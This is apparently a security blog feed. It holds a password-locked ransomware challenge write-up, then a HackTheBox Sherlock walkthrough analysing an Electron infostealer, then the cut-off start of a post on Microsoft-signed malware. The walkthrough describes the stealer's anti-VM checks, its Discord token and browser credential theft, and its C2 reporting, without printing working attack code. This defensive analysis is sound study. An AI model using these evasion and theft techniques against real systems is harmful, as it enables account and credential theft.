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;^</div> <div id="pec-decrypted-content"> <span><strong><i>This investigation is currently active on HackTheBox, thus is required to be password protected. You will need to wait until the investigation is retired for the full solution, or if you have already solved this challenge, use the answer to task 14 to unlock.</i></strong></span> </div> <form id="pec-decrypt-form"> <label for="pec-content-password">Password</label> <input type="password" id="pec-content-password" placeholder="Password" /> <button type="button" id="pec-decrypt-content">Decrypt</button> </form> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/enc-base64.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/cipher-core.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/pad-nopadding.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/md5.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/components/aes.js"></script> <script type="text/javascript"> (function(){var a=function(b,c){for(var d=b.length;d>0;d--)if(b[d-1]!==c)return b.slice(0,d)},e=function(b,c,d,f){var g=CryptoJS.MD5(b),h=CryptoJS.enc.Base64.parse(c),i=CryptoJS.enc.Base64.parse(d),j={key:g,iv:h,ciphertext:i},k=CryptoJS.AES.decrypt(j,g,{iv:h,padding:CryptoJS.pad.NoPadding});try{return a(k.toString(CryptoJS.enc.Utf8),f)}catch(l){return!1}};document.addEventListener('DOMContentLoaded',function(){var b=document.getElementById('pec-decrypt-content'),c=document.getElementById('pec-content-password'),d=document.getElementById('pec-encrypted-content'),f=document.getElementById('pec-decrypted-content'),g=document.getElementById('pec-decrypt-form'),h=function(a){var h=d.innerHTML.split(';'),i=e(c.value,h[0],h[1],h[2]);i?(f.innerHTML=i,g.parentNode.removeChild(g),d.parentNode.removeChild(d)):(c.value=''),a.preventDefault();return!1};b.addEventListener('click',h);g.addEventListener('submit',h)})})(); </script> </div></p> <h2 id="conclusion_2">Conclusion</h2> <p>The first 13 parts of this challenge were rather easy to me. I was able to grab them with relative ease by just using online sandboxes and tools like VirusTotal. However the real challenge was being given a file encrypted by the ransomware, and being told to decrypt it. It required intense reverse engineering of almost every function I could find, over 160 functions in total. Every time I finally figured out one function, there may have been 3 or 4 child functions inside of it that called on encrypted strings that needed to be reversed as well to paint the whole picture. This binary made large use of api hashing, so all of the calls utilized from external libraries were actually not visible from tools like Detect it Easy and required finding the actual function call where it then would live decrypt the string and call the relevant library.</p> <p>It took me 4 or 5 days of solid reverse engineering to get a good enough picture to determine where to actually begin looking for the encryption key and how it worked. And even once I finally thought I had it, the file itself still had one last trick up its sleeve before allowing the key to work properly. </p> <p>This definitely was an insane challenge that led to many late nights, but I learned an incredible amount.</p>2024-12-31T20:14:00-05:002026-05-17T14:03:45.451879-04:00Eric Turnertag:blog.ericturner.it,2024-12-31:/2024/12/31/hackthebox-sherlock-subatomic/

<p>Challenge: <a href="https://app.hackthebox.com/sherlocks/Subatomic">https://app.hackthebox.com/sherlocks/Subatomic</a></p> <h1 id="introduction">Introduction</h1> <blockquote> <p>Forela is in need of your assistance. They were informed by an employee that their Discord account had been used to send a message with a link to a file they suspect is malware. The message read: "Hi! I've been working on …</p></blockquote>

<p>Challenge: <a href="https://app.hackthebox.com/sherlocks/Subatomic">https://app.hackthebox.com/sherlocks/Subatomic</a></p> <h1 id="introduction">Introduction</h1> <blockquote> <p>Forela is in need of your assistance. They were informed by an employee that their Discord account had been used to send a message with a link to a file they suspect is malware. The message read: "Hi! I've been working on a new game I think you may be interested in it. It combines a number of games we like to play together, check it out!". The Forela user has tried to secure their Discord account, but somehow the messages keep being sent and they need your help to understand this malware and regain control of their account! Warning: This is a warning that this Sherlock includes software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments. One the Sherlock zip has been unzipped, you will find a DANGER.txt file. Please read this to proceed.</p> </blockquote> <h1 id="analysis">Analysis</h1> <p>We are provided a ZIP file that contains DANGER.txt and malware.zip. DANGER.txt provides information that this file can actually interact with your computer in a malicious way and should not be just opened and executed. Luckily, I dropped the file in my ParrotOS VM, let's get to investigating</p> <h2 id="file-analysis">File Analysis</h2> <p>File Name</p> <p>nsis-installer.exe</p> <p>File Type</p> <p>PE32 Windows Executable, Nullsoft Installer Self-Extracting Archive</p> <p>File Size</p> <p>78MB</p> <p>Size of Code</p> <p>26624 bytes</p> <p>OS Version</p> <p>Windows 95</p> <p>SHA256</p> <p>7a95214e7077d7324c0e8dc7d20f2a4e625bc0ac7e14b1446e37c47dff7eeb5b</p> <p>Copyright</p> <p>Copyright 2024 SerenityTherapyInstaller Inc</p> <p>Creation Timestamp</p> <p>2018-12-15 17:26:15 -05:00</p> <p>Strings was not super useful here. There was some plain readable text that showed this was a self-extracting archive, but otherwise most of the text was unreadable as the executable is packed.<br/> The extractor in Detect-It Easy is able to carve and dump a bunch of GZIP'd files, but they do not appear helpful for me.</p> <h2 id="further-analysis-on-linux">Further Analysis on Linux</h2> <p>I found we can open the installer using an archive manager. Inside of $PLUGINSDIR is app-32.7z. Pulling this out and extracting it shows an electron chromium package. Inside of /resources is an app.asar. We can use <code>npx @electron/asar extract app.asar ./app</code> to extract this and further look at the source code of this application. Here is a breakdown of what the full application looks like:</p> <pre><code>/nsis-installer.exe /$PLUGINSDIR - app-32.7z /locales - *.pak (language files) /resources - app.asar /node_modules - app.js - package.json - elevate.exe - chrome_100_percent.pak - chrome_200_percent.pak - d3dcompiler_47.dll - ffmpeg.dll - icudtl.dat - libEGL.dll - libGLESv2.dll - LICENSE.electron.txt - LICENSE.chromium.html - resources.pak - SerenityTherapyInstaller.exe - snapshot_blob.bin - v8_context_snapshot.bin - vk_swiftshader.dll - vk_swiftshader_icd.json - vulkan-1.dll - nsExec.dll - nsis7z.dll - SpiderBanner.dll - StdUtils.dll - System.dll - WinShell.dll /$R0 - Uninstall SerenityTherapyInstaller.exe [NSIS].nsi (only visible from Windows with a special nsis plugin) </code></pre> <p>The main app.js is completely obfuscated.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-14.webp"/></p> <p>We can utilize a beautifier in VS Code, but it does not exactly help besides space things out to over 2k lines.</p> <p>Using the debugger in VS Code, we can set a breakpoint immediately on line 1 and use F11 to step through the code while watching the sidebar to determine outputs. <code>function_0x14c9</code> is looped through recursively due to the while loop at the top of the file. The loop appears to be looking for a specific value found in the <code>0x2662a3</code> 6668 long array found in <code>function _0x327a</code></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-17.webp"/></p> <p>meanwhile if the value is not found, it will keep running a separate function to push / shift </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-18.webp"/></p> <p>By modifying the code and creating a breakpoint on this if statement, I found it is looking for value 423471 and it takes 221 loops to get this value. Next it finally progreeses into <code>function _0x59c5a2</code> to re-use the original value return function to return even more strings. After completing more loops, it progresses into <code>_0x9a027</code> between garbled text, <code>call</code> and <code>defineProp</code> appear in the console. It appears to be building an object:</p> <pre><code class="language-javascript">function () { var _0x1815fa = _0x494d30; return _0x3cf35d[_0x1815fa(0x169d)](_0x654edc, ...arguments); } </code></pre> <p>Unfortunately, the code kept hanging in my VM at this point on the same case '3' spot. My assumption is that it's checking for linux and if it's linux, it's killing the script, as the original file is a windows .exe. One of the tasks alludes to a killswitch on "arch".</p> <h2 id="analysis-take-2-windows">Analysis Take 2 - Windows</h2> <p>I rebuilt the functionality on my windows VM. I installed flare VM to this box. During install, there is a 7z-nsis.vm that can be added that allows proper opening of the NSIS exe to reveal a hidden file needed for one of the tasks in this lab:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-19.webp"/></p> <p>The mutex GUID is found via this file. I navigated through opening $PLUGINSDIR\app-32.7z\resources again like on the linux attempt, and extracted app.asar to \app for VS Code debugging and also took a look at elevate.exe in this dir. Using Detect-It Easy, we can see this binary is provided by Johannes Passing and is intended to provide elevated rights to the command line: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-21.webp"/></p> <p>Strings from elevate.exe</p> <h3 id="dynamic-debugging-appjs">Dynamic Debugging app.js</h3> <p>Again we are back with the heavily obfuscated app.js file. A quick <code>npm install</code> to ensure the dependencies exit. And a quick VM snapshot in case I fail to properly debug.</p> <p>Attempting to debug now immediately throws a <code>dpapi.node</code> is not a valid Win32 application. A quick <code>npm update</code> fixes this issue and after a second or so of pausing and resuming, an <code>eval</code> appears in the callstack with de-obfuscated JS code. I quickly copied this into a new file and killed the running debug process, so we can investigate in a safer method.</p> <h3 id="deobfuscated-code">Deobfuscated Code</h3> <p>Immediately at the top we have an <code>options</code> object that includes a C2 API and user_id. There are also a number of functions:</p> <ul> <li>checkVm<ul> <li>if the machine has less than 2GB of ram, it kills the script</li> <li>if the name of the PC is in a pre-determined list, it kills the script</li> <li>if one of the processes in a pre-determined list is running, it kills any of the processes<ul> <li>several of these processes are VM dependent (vmwareservice, vmwaretray)</li> <li>several are malware analysis dependent (dumpcap, fakenet)</li> </ul> </li> </ul> </li> <li>getDiscordTokens<ul> <li>Uses an API call to fetch discord tokens from the malicious API in the options object and proceed to decrypt the token and send it back to /valid-tokens with the username and computer host name</li> </ul> </li> <li>newInjection<ul> <li>calls systemInformattion to get OS info</li> <li>calls discordInjection()</li> <li>fetches IP Info from API</li> <li>calls network.json() for more network info</li> <li>sends to api /new-injection endpoint with the discord username from options, computer name, amount of RAM, CPU count, OS info, uptime and network info</li> </ul> </li> </ul> <p>In addition to getting discord tokens and injecting itself directly into discord, the malware has numerous functions to steal browser information such as cookies, autofills and passwords. If CMD is missing from the system, it will download it's own version to use. And if any errors are thrown, they are also sent back to the C2 for diagnostics. </p> <p>This is a very good example of an infostealer malware.</p> <h2 id="task-walkthrough_1">Task Walkthrough</h2> <h3 id="task-1-imphash">Task 1 - imphash</h3> <p>This is my first time learning about Import Hashing, or imphash. Per <a href="https://cloud.google.com/blog/topics/threat-intelligence/tracking-malware-import-hashing/">this 2014 article</a>, the import hash is a way to hash the import address table and specific order of imports and use to attempt to track threat groups in using a specific methodology of malware. File hashes can change with imports, but import hashing is more static over version changes.<br/> Following the information at the bottom of the article, I wrote a simple statement to be quickly ran in the terminal to pull the impash:</p> <pre><code class="language-bash">$python3 -c "import pefile; pe=pefile.PE('./nsis-installer.exe');print(pe.get_imphash())" </code></pre> <h3 id="task-2-program-name">Task 2 - Program Name</h3> <p>Another new thing for me, <code>SpcSpOpusInfo</code> and the program name is derived from Microsoft's Authenticode on signed binaries. Another <a href="https://cloud.google.com/blog/topics/threat-intelligence/hunting-attestation-signed-malware">blog post here</a> for information on that. I am on linux, so I cannot view cert info via the Properities GUI. I found a python package, <a href="https://signify.readthedocs.io/en/stable/authenticode.html">Signify</a>, that allows you to gain this info from the binary easily.</p> <p>Using ParrotOS, I created a new directory and python <code>venv</code> to install signify, force an <a href="https://community.snowflake.com/s/article/Python-Connector-fails-to-connect-with-LibraryNotFoundError-Error-detecting-the-version-of-libcrypto">update patch</a> to oscrypto due to a bug in detecting libcrypto, use a modified version <a href="https://github.com/ralphje/signify/blob/master/examples/authenticode_info.py">this python script</a> from the creator of signify, and investigate the malware.</p> <pre><code class="language-bash">$ mkdir ~/code $ cd ~/code $ python -m venv venv $ source ~/code/venv/bin/activate (venv)$ pip install signify (venv)$ pip install --force-reinstall https://github.com/wbond/oscrypto/archive/d5f3437ed24257895ae1edd9e503cfb352e635a8.zip (venv)$ cd ~/.../sherlock_subatomic (venv)$ python ~/code/authenticode.py ./nsis-installer.exe </code></pre> <p>I removed the sections about indirect data as it throws an error. Running the script reveals the application is signed via Microsoft Code Signing PCA 2011 and has a program name of Windows Update Assistant. Therefore, this could look like an official Microsoft signed binary: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-13.webp"/></p> <p>output of authenticode script</p> <h3 id="task-3-guid">Task 3 - GUID</h3> <p>Opening the once hidden <code>[NSIS].nsi</code> reveals a mutex GUID the application uses:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-20.webp"/></p> <h3 id="task-4-license">Task 4 - License</h3> <p>After unpacking app.asar, we can see the package.json which shows a license of ISC</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-30.webp"/></p> <h3 id="task-5-c2-domain">Task 5 - C2 Domain</h3> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-23.webp"/></p> <p>Domain is found in <code>const options</code></p> <h3 id="task-6-ip-info">Task 6 - IP Info</h3> <p>Found under newInjection</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-26.webp"/></p> <h3 id="task-7-c2-url">Task 7 - C2 URL</h3> <p>Found right at the top of the deobfuscated file under the <code>const options</code> , same as task 5</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-23.webp"/></p> <h3 id="task-8-user_id-variable">Task 8 - user_id Variable</h3> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-25.webp"/></p> <h3 id="task-9-hostname">Task 9 - hostname</h3> <p>Found at the top of the deobfuscated code: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-22.webp"/></p> <h3 id="task-10-process-name">Task 10 - process name</h3> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-24.webp"/></p> <h3 id="task-11-file-write">Task 11 - file write</h3> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-28.webp"/></p> <p>This function checks for CMD and if it does not exist, it pulls cmd from the API and writes it to the user's document folder</p> <h3 id="task-12-firefox-cookies">Task 12 - firefox cookies</h3> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-27.webp"/></p> <h3 id="task-13-discord-module">Task 13 - Discord module</h3> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-29.webp"/></p> <h1 id="conclusion_2">Conclusion</h1> <p>Initially, I found the task rather difficult. It turns out because I was attempting to debug the script on Linux and not the native windows, it was failing to properly execute the nodejs code. After rebuilding my malware analysis environment inside of Windows 10, it was extremely easy to reproduce and get myself into the deobfuscated code to determine the true intent of the application. </p> <p>In my linux version, I had beautified the code and had multiple break points and <code>console.log()</code> messages written in to help debug the obfuscation. On windows, I simply hit debug and just spammed pause and resume for it to get to the proper location. In hindsight, some of the code could've executed and sent information over to the C2 if I didn't pause in time. I lucked out in pausing right before it did any actual checks. For next time, continuing to use breakpoints and stepping through the code is smarter. Luckily, I had internet disconnected from the box, this is always a good best practice for analyzing malware.</p>2024-12-30T14:21:47-05:002026-05-17T14:03:45.463874-04:00Eric Turnertag:blog.ericturner.it,2024-12-30:/2024/12/30/malware-digitally-signed-by-microsoft/

<p>While working on a sherlock from HackTheBox, I researched a tactic of threat actors abusing the Microsoft driver signing process to allow their malware to be digitally signed by Microsoft.</p> <h1 id="general-information">General Information</h1> <p>An example of this from the Google Cloud / Mandiant blog post:<br/> <a href="https://www.virustotal.com/gui/file/4257ece19a9e4abc1eb251463bce623d2ac45afd0ed7939ba5e76ee9dbde2fa5">VirusTotal - File - 4257ece19a9e4abc1eb251463bce623d2ac45afd0ed7939ba5e76ee9dbde2fa5</a></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-15.webp"/></p> <p>Detection page for the …</p>

<p>While working on a sherlock from HackTheBox, I researched a tactic of threat actors abusing the Microsoft driver signing process to allow their malware to be digitally signed by Microsoft.</p> <h1 id="general-information">General Information</h1> <p>An example of this from the Google Cloud / Mandiant blog post:<br/> <a href="https://www.virustotal.com/gui/file/4257ece19a9e4abc1eb251463bce623d2ac45afd0ed7939ba5e76ee9dbde2fa5">VirusTotal - File - 4257ece19a9e4abc1eb251463bce623d2ac45afd0ed7939ba5e76ee9dbde2fa5</a></p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-15.webp"/></p> <p>Detection page for the vpn.sys driver</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2024/12/image-16.webp"/></p> <p>Details tab on vpn.sys showing the valid certificate from Microsoft. Special attention to SpcSpOpusInfo</p> <p>Using a tool such as Python's <a href="https://signify.readthedocs.io/en/stable/authenticode.html">Signify</a>, you can easily parse the Program Name from a digitally signed executable on Windows or Linux. The program name, such as the 